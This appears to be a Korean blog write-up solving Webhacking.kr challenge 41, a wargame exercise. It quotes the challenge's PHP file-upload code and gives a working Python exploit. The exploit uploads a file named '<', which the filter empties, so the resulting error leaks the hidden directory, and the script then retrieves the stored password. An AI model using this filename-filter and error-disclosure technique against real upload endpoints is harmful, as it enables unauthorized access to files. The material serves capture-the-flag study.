관리 메뉴

Hax0r

[풀이] Webhacking.kr 41번 문제 본문

0x00 개발/Security

[풀이] Webhacking.kr 41번 문제

영준이 2017.09.03 20:58

41번 문제는 250 스코어의 문제입니다.

아래는 힌트 소스 코드 입니다.

소스코드를 보면 아시겠지만, 파일명을 "<>"로 하면 "<" 와 ">"가 필터링 되어 빈 스트링으로 치환됩니다.

이 때 파일명이 없을 경우도 마찬가지로 저장 시 에러가 나며 에러가 날 때 저장 위치가 디버깅 용으로 출력된다는 전제하에 이 가설을 증명해줄 코드를 짧게 파이썬으로 작성해봅니다. 



$hidden_dir="???";


$pw="???";


if($_FILES[up])

{

$fn=$_FILES[up][name];

$fn=str_replace(".","",$fn);

if(eregi("/",$fn)) exit("no");

if(eregi("\.",$fn)) exit("no");

if(eregi("htaccess",$fn)) exit("no");

if(eregi(".htaccess",$fn)) exit("no");

if(strlen($fn)>10) exit("no");

$fn=str_replace("<","",$fn);

$fn=str_replace(">","",$fn);

$cp=$_FILES[up][tmp_name];


copy($cp,"$hidden_dir/$fn");


$f=@fopen("$hidden_dir/$fn","w");

@fwrite($f,"$pw");

@fclose($f);


echo("Done~");


}


아래는 제가 작성한 파이썬 코드이며, 자세한 내용은 본인 Github 에서 만나보실 수 있습니다.



import re

import requests


PHPSESSID = ""

URL = "http://webhacking.kr/challenge/web/web-19/index.php"

KEY_NAME = 'passme'


files = {

    KEY_NAME: ('<', 'passme', 'application/octet-stream')

}


cookies = {

    'PHPSESSID': PHPSESSID

}


r = requests.post(URL, files = files, cookies = cookies)

p = r'\([^)]*\)'

c = re.compile(p)


matched = c.findall(r.text)


if matched is not None :

    requestUrl = URL.replace('index.php','') + matched[0].replace('(','').replace('/)','') + '/' + KEY_NAME


    response = requests.get(url = requestUrl)

    print('Here is your auth code : ' + response.text)




이로써 auth code 값을 구했으니 Solved





저작자 표시 비영리 변경 금지
신고